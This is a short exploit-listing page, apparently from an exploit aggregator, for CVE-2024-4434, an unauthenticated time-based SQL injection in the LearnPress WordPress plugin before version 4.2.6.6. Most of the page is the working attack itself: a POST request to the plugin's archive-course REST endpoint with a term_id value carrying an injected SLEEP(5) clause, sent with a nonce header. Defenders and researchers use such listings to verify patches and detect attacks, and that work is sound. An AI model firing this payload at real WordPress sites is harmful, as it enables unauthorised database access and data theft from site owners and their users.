Exploit for LearnPress – WordPress LMS Plugin < 4.2.6.6 - Unauthenticated Time-Based SQL Injection CVE-2024-4434

Name: Exploit for LearnPress – WordPress LMS Plugin < 4.2.6.6 - Unauthenticated Time-Based SQL Injection CVE-2024-4434
Rating: 5 (127 reviews)

2024-05-09 | CVSS 9.8

## https://sploitus.com/exploit?id=WPEX-ID:84A72330-F61B-45BC-B3AE-48204CDDF1E1
Send request with the following details:

POST /wp-json/lp/v1/courses/archive-course?term_id=1337)+OR+SLEEP(5)+--

Using a valid nonce header: 

X-WP-Nonce: 12345_nonce